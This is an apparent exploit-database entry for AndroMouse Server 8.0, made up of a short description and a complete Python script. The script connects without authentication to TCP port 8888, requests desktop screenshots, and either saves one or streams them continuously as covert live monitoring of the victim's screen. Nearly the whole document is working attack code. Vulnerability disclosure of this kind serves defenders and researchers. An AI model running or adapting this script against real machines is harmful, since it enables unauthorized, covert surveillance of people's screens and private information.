# Exploit Title: AndroMouse Server 8.0 – Unauthenticated Screenshot Exposure # Date: 03/07/25 # Exploit Author: Chokri Hammedi # Vendor Homepage: http://andromouse.com # Software Link: https://andromouse-server.en.lo4d.com/windows # Version: 8.0 # Tested on: Windows 10 ''' Description: AndroMouse Server 8.0 listens on TCP/UDP port 8888 and allows unauthenticated retrieval of desktop screenshots. Attackers can abuse this feature by repeatedly requesting screenshots to create a covert live monitoring stream, compromising user privacy without any notification or consent. usage: screen.py [-h] [--live] AndroMouse Server 8.0 Screenshot / Live Stream tool options: -h, --help show this help message and exit --live Show live stream instead of saving one screenshot ''' import socket import struct import time import datetime import cv2 import numpy as np import argparse HOST = '192.168.8.104' PORT = 8888 TIMEOUT = 5 def tcp_connect(): while True: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(TIMEOUT) sock.connect((HOST, PORT)) return sock except Exception: time.sleep(3) def udp_send(message): udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.sendto(message.encode(), (HOST, PORT)) udp_sock.close() def tcp_send(sock, message): sock.sendall(message.encode()) def tcp_send_raw(sock, data): sock.sendall(data) def recv_until(sock, suffix=b'\r\n'): data = b'' while not data.endswith(suffix): chunk = sock.recv(1) if not chunk: raise ConnectionError() data += chunk return data def recv_exact(sock, size): data = b'' while len(data) < size: chunk = sock.recv(size - len(data)) if not chunk: raise ConnectionError() data += chunk return data def receive_image(sock): tcp_send(sock, "screen_shot_key") time.sleep(0.1) tcp_send_raw(sock, b"\x0a") response = recv_until(sock, b'\r\n') if not response.startswith(b"screen_shot_response"): raise ValueError("Unexpected response") size_data = recv_exact(sock, 4) image_size = struct.unpack(">I", size_data)[0] image_data = recv_exact(sock, image_size) return image_data def save_screenshot(image_data, filename_prefix='screenshot'): np_arr = np.frombuffer(image_data, np.uint8) frame = cv2.imdecode(np_arr, cv2.IMREAD_COLOR) if frame is None: print("[!] Failed to decode image") return False timestamp = datetime.datetime.now().strftime('%Y%m%d_%H%M%S') filename = f"{filename_prefix}_{timestamp}.png" cv2.imwrite(filename, frame) print(f"[+] Screenshot saved as {filename}") return True def live_stream(): sock = tcp_connect() print("[+] Starting live stream. Press ESC to quit.") try: while True: try: img_bytes = receive_image(sock) np_arr = np.frombuffer(img_bytes, np.uint8) frame = cv2.imdecode(np_arr, cv2.IMREAD_COLOR) if frame is None: continue cv2.imshow("Remote Screen Stream", frame) if cv2.waitKey(1) == 27: # ESC key to quit break time.sleep(0.1) except (socket.timeout, ConnectionError, struct.error): sock.close() time.sleep(3) sock = tcp_connect() except Exception as e: print(f"[!] Unexpected error: {e}") break finally: sock.close() cv2.destroyAllWindows() print("[+] Live stream ended.") def single_screenshot_with_retries(): while True: sock = tcp_connect() try: image_data = receive_image(sock) if save_screenshot(image_data): break except (socket.timeout, ConnectionError, struct.error) as e: sock.close() time.sleep(1) except Exception as e: print(f"[!] Unexpected error: {e}") sock.close() break finally: sock.close() def main(): parser = argparse.ArgumentParser(description="AndroMouse Server 8.0 Screenshot / Live Stream tool") parser.add_argument('--live', action='store_true', help='Show live stream instead of saving one screenshot') args = parser.parse_args() if args.live: live_stream() else: single_screenshot_with_retries() if __name__ == "__main__": main()